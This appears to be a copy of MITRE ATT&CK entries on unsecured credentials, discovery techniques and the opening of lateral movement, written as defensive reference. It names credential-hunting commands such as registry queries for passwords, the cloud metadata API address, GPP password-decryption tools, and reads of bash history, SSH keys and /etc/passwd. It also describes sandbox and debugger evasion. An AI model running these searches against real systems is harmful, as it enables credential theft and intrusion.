T1552 - Unsecured Credentials

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Bash History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).

.001 - Credentials in Files

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.

.002 - Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information:

- Local Machine Hive: `reg query HKLM /f password /t REG_SZ /s`
- Current User Hive: `reg query HKCU /f password /t REG_SZ /s`

.003 - Bash History

Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's `.bash_history` file. For each user, this file resides at the same location: `~/.bash_history`. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.

.004 - Private Keys

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as `~/.ssh` for SSH keys on * nix-based systems or `C:\Users\(username)\.ssh\` on Windows. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

.005 - Cloud Instance Metadata API

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. A cloud metadata API has been used in at least one high profile compromise.

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.

The de facto standard across cloud service providers is to host the Instance Metadata API at `http[:]//169.254.169.254`.

.006 - Group Policy Preferences

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

- Metasploit's post exploitation module: `post/windows/gather/credentials/gpp`
- Get-GPPPassword
- gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files:

```
dir /s * .xml
```

.007 - Container API

Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.

An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.

Discovery

The adversary is trying to figure out your environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1087 Account Discovery

Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.

.001 - Local Account

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as `net user` and `net localgroup` of the Net utility and `id` and `groupson` macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the `/etc/passwd` file. On macOS the `dscl . list /Users` command can be used to enumerate local accounts.

.002 - Domain Account

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.

Commands such as `net user /domain` and `net group /domain` of the Net utility, `dscacheutil -q groupon` macOS, and `ldapsearch` on Linux can list domain users and groups.

.003 - Email Account

Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).

In on-premises Exchange and Exchange Online, the `Get-GlobalAddressList` PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.

In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.

.004 - Cloud Account

Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.

With authenticated access there are several tools that can be used to find accounts. The `Get-MsolRoleMember` PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365. The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.

The AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.[5][6] In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.

T1010 Application Window Discovery
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.

T1217 Browser Bookmark Discovery
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

T1580 Cloud Infrastructure Discovery
An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket. Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project, and Azure's CLI command az vm list lists details of virtual machines. In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.

An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user. The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence. An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.

T1538 Cloud Service Dashboard
An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

T1526 Cloud Service Discovery
An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc.

Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.

Stormspotter is an open-source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.

T1619 Cloud Storage Object Discovery
Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS and List Blobs in Azure.

T1613 Container and Resource Discovery
Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

T1622 Debugger Evasion
Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary, but may involve Native API function calls such as `IsDebuggerPresent()` and `NtQueryInformationProcess()`, or manually checking the `BeingDebugged` flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would "swallow" or handle the potential error).

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as `OutputDebugStringW()`.

T1482 Domain Trust Discovery
Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain. Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting. Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP. The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.

T1083 File and Directory Discovery
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include `dir`, `tree`, `ls`, `find`, and `locate`. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. `dir`, `show flash`, and/or `nvram`).

T1615 Group Policy Discovery
Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path `\\SYSVOL\\Policies\`.

Adversaries may use commands such as `gpresult` or various publicly available PowerShell functions, such as `Get-DomainGPO` and `Get-DomainGPOLocalGroup`, to gather information on Group Policy settings. Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. Domain Policy Modification) for their benefit.

T1046 Network Service Discovery
Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as `dns-sd -B _ssh._tcp .`) to find other systems broadcasting the ssh service.

T1135 Network Share Discovery
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. Net can be used to query a remote system for available shared drives using the `net view \\remotesystem` command. It can also be used to query shared drives on the local system using `net share`. For macOS, the `sharing -l` command lists all shared points used for smb services.

T1040 Network Sniffing
Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.

T1201 Password Policy Discovery

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as `net accounts (/domain)`, `Get-ADDefaultDomainPasswordPolicy`, `chage -l`, `cat /etc/pam.d/common-password`, and `pwpolicy getaccountpolicies`. Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. `show aaa`, `show aaa common-criteria policy all`).

Password policies can be discovered in cloud environments using available APIs such as `GetAccountPasswordPolicy` in AWS.

T1120 Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

T1069 Permission Groups Discovery

Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

.001 - Local Groups

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as `net localgroup` of the Net utility, `dscl . -list /Groups` on macOS, and `groups` on Linux can list local groups.

.002 - Domain Groups

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as `net group /domain` of the Net utility, `dscacheutil -q group` on macOS, and `ldapsearch` on Linux can list domain-level groups.

.003 - Cloud Groups

Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.

Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.

Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API. Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.

T1057 Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.

T1012 Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether the adversary fully infects the target and/or attempts specific actions.

T1018 Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.

Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).

T1518 Software Discovery
Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.

.001 - Security Software Discovery
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are `netsh`, `reg query` with Reg, `dir` with cmd, and `tasklist`, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment. For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the `DescribeSecurityGroups` action with various request parameters.

T1082 System Information Discovery
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether the adversary fully infects the target and/or attempts specific actions.

Tools such as `systeminfo` can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. As an example, adversaries with user-level access can execute the `df -aH` command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. `show version`). System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.

T1614 System Location Discovery
Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.

.001 - System Language Discovery

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.

There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.

On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.

T1016 System Network Configuration Discovery

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).

Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

.001 - Internet Connection Discovery

Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using ping, tracert, and GET requests to websites.

Adversaries may use the results and responses from these requests to determine if the system can communicate with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.

T1049 System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include `netstat`, `net use`, and `net session` with Net. In Mac and Linux, `netstat` and `lsof` can be used to list current connections. `who -a` and `w` can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. `show ip sockets`, `show tcp brief`).

T1033 System Owner/User Discovery

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in several different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including `whoami`. In macOS and Linux, the currently logged in user can be identified with `w` and `who`. On macOS the `dscl . list /Users | grep -v '_'` command can also be used to enumerate user accounts. Environment variables, such as `%USERNAME%` and `$USER`, may also be used to access this information.

T1007 System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query`, `tasklist /svc`, `systemctl --type=service`, and `net start`.

Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

T1124 System Time Discovery

An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.

System time information may be gathered in a number of ways, such as with Net on Windows by performing `net time \hostname` to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using `w32tm /tz`.

This information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job, or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.

T1497 - Virtualization/Sandbox Evasion

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.

.001 - System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.

.002 - User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads.

Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks, browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro or waiting for a user to double click on an embedded image to activate.

.003 - Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments. Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.

Lateral Movement

The adversary is trying to move through your environment.

Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1210 - Exploitation of Remote Services

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services.

Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.

T1534 - Internal Spearphishing

